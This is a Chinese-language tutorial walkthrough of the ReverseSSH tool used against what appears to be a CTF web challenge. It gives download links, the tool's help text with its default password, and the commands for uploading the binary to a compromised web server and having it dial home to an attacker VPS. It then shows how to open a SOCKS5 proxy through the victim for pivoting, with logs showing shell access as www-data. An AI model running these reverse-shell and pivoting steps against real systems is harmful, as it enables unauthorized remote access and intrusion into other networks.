ReverseSSH入门使用
https:// github.com /Fahrj/reverse-ssh
https://github.com/Fahrj/reverse-ssh
我使用2个版本的ReverseSSH:win_x64和linux_x64
https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx64.exe
CRC32: 2E84E430
MD5: C5FEB4689030330CB8D7885A670FDDF8
SHA-1: 818E055454212404C4B039D7AB90B1E52515CAF3
https://github.com/Fahrj/reverse-ssh/releases/download/v1.2.0/upx_reverse-sshx64
CRC32: 692E9230
MD5: B9EBFAFAF78ADAA95EDDCD326AA21A9B
SHA-1: 515DF903FD5B5DFC03233EE56978ADBACF8466C3
www-data@74b25ae5981a:~$ ./upx_reverse-sshx64.bin --help
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor
Usage: upx_reverse-sshx64.bin [options] [[@]]
Examples:
Bind:
upx_reverse-sshx64.bin -l
upx_reverse-sshx64.bin -v -l -p 4444
Reverse:
upx_reverse-sshx64.bin 192.168.0.1
upx_reverse-sshx64.bin [email protected]
upx_reverse-sshx64.bin -p 31337 192.168.0.1
upx_reverse-sshx64.bin -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
Optional target which enables the reverse scenario. Can be prepended with
@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
www-data@74b25ae5981a:~$
攻击机为win10 ( VPS服务器 ),使用如下命令在vps上监听tcp_40021端口:
upx_reverse-sshx64.exe -v -l -p 40021 C:\Users\Administrator\Desktop\Basic1>upx_reverse-sshx64.exe -v -l -p 40021
2022/08/05 11:36:47 Starting ssh server on :40021
2022/08/05 11:36:47 Success: listening on [::]:40021
2022/08/05 12:00:13 Successful authentication with password from [email protected]:52159
2022/08/05 12:00:13 Attempt to bind at 127.0.0.1:8889 granted
2022/08/05 12:00:13 New connection from 127.0.0.1:52159: www-data on e10a09978ef3 reachable via 127.0.0.1:8889
2022/08/05 12:03:03 Successful authentication with password from [email protected]:52235
2022/08/05 12:03:03 Attempt to bind at 127.0.0.1:8889 granted
2022/08/05 12:03:03 New connection from 127.0.0.1:52235: www-data on e10a09978ef3 reachable via 127.0.0.1:8889受害者 为 如下web靶机 (反弹一个交互式shell,权限www-data) :
BMZCTFhttp://www.bmzclub.cn/challenges#WEB_ezeval上传upx_reverse-sshx64.bin并运行如下命令:
/tmp/upx_reverse-sshx64.bin -v -b 8889 -p 我的vps端口 我的vps_IP &www-data@e10a09978ef3:~$ chmod 0777 upx_reverse-sshx64.bin
www-data@e10a09978ef3:~$ /tmp/upx_reverse-sshx64.bin -v -b 8889 -p 40021 vps_ip &
[1] 96
www-data@e10a09978ef3:~$ 2022/08/05 03:58:37 Dialling home via ssh to vps_ip:40021
2022/08/05 03:58:38 Success: listening at home on 127.0.0.1:8889
win10攻击机的cmd里输入如下ssh命令开启socks5代理,并得到一个远程受害者靶机的shell,
ssh密码是:letmeinbrudipls
如果失败可以考虑删除C:/Users/Administrator/.ssh/known_hosts这个文件,清空估计也行
C:\Users\Administrator>ssh-keygen -R [127.0.0.1]:50080
# Host [127.0.0.1]:50080 found: line 2
C:\Users\Administrator/.ssh/known_hosts updated.
Original contents retained as C:\Users\Administrator/.ssh/known_hosts.old
C:\Users\Administrator>ssh -p 8889 -D 0.0.0.0:21080 [email protected]
ssh -o StrictHostKeyChecking=no -p 50080 -D 0.0.0.0:21080 [email protected]
curl -v -x socks5h://127.7.7.7:21080 http://www.cip.cc/
C:\Users\Administrator>ssh -p 8889 -D 21080 [email protected]
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
SHA256:bpfoggvj/mWRp3T2sQWwrB5sKYQ2+UQIz9oa1Hkve/M.
Please contact your system administrator.
Add correct host key in C:\\Users\\Administrator/.ssh/known_hosts to get rid of this message.
Offending RSA key in C:\\Users\\Administrator/.ssh/known_hosts:35
RSA host key for [127.0.0.1]:8889 has changed and you have requested strict checking.
Host key verification failed.
C:\Users\Administrator>attrib C:/Users/Administrator/.ssh/known_hosts
A C:\Users\Administrator\.ssh\known_hosts
C:\Users\Administrator>ssh -p 8889 -D 0.0.0.0:21080 [email protected]
The authenticity of host '[127.0.0.1]:8889 ([127.0.0.1]:8889)' can't be established.
RSA key fingerprint is SHA256:bpfoggvj/mWRp3T2sQWwrB5sKYQ2+UQIz9oa1Hkve/M.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:8889' (RSA) to the list of known hosts.
[email protected]'s password:
www-data@e10a09978ef3:/tmp$
echo.>C:\Users\Administrator\.ssh\known_hosts
type C:\Users\Administrator\.ssh\known_hosts
dir C:\Users\Administrator\.ssh\known_hosts C:\Users\Administrator>dir C:\Users\Administrator\.ssh\known_hosts
Volume in drive C is win10new
Volume Serial Number is E404-AE55
Directory of C:\Users\Administrator\.ssh
2022/08/05 12:59 2 known_hosts
1 File(s) 2 bytes
0 Dir(s) 4,322,332,672 bytes free
C:\Users\Administrator>ssh -o StrictHostKeyChecking=no -p 50080 -D 0.0.0.0:21080 [email protected]
Warning: Permanently added '[127.0.0.1]:50080' (RSA) to the list of known hosts.
[email protected]'s password:
www-data@e10a09978ef3:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@e10a09978ef3:/tmp$ pwd
/tmp
www-data@e10a09978ef3:/tmp$ uname -a
Linux e10a09978ef3 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86_64 GNU/Linux
www-data@e10a09978ef3:/tmp$ Connection to 127.0.0.1 closed by remote host.
Connection to 127.0.0.1 closed.
C:\Users\Administrator>
Microsoft Windows [版本 10.0.19044.1381]
(c) Microsoft Corporation。保留所有权利。
C:\Users\Administrator>
C:\Users\Administrator>ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=z:/l2 -p 50080 -D 0.0.0.0:21080 [email protected]
Warning: Permanently added '[127.0.0.1]:50080' (RSA) to the list of known hosts.
[email protected]'s password:
www-data@234e46db3834:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@234e46db3834:/tmp$ uname -a
Linux 234e46db3834 4.19.0-6.ucloud #1 SMP Wed Feb 12 08:20:34 UTC 2020 x86_64 GNU/Linux
www-data@234e46db3834:/tmp$ which bash curl ash
/bin/bash
/usr/bin/curl
www-data@234e46db3834:/tmp$ curl -v cip.cc
* Expire in 0 ms for 6 (transfer 0x5599cf77df50)
* Expire in 1 ms for 1 (transfer 0x5599cf77df50)
* Expire in 200 ms for 1 (transfer 0x5599cf77df50)
* Trying 122.51.162.249...
* TCP_NODELAY set
* Expire in 149372 ms for 3 (transfer 0x5599cf77df50)
* Expire in 200 ms for 4 (transfer 0x5599cf77df50)
* Connected to cip.cc (122.51.162.249) port 80 (#0)
> GET / HTTP/1.1
> Host: cip.cc
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: openresty
< Date: Fri, 05 Aug 2022 08:33:46 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< X-cip-c: M
<
IP : 106.75.66.154
地址 : 中国 北京
运营商 : ucloud.cn
数据二 : 北京市 | UCloud
数据三 : 中国北京北京 | 电信
URL : http://www.cip.cc/106.75.66.154
* Connection #0 to host cip.cc left intact
www-data@234e46db3834:/tmp$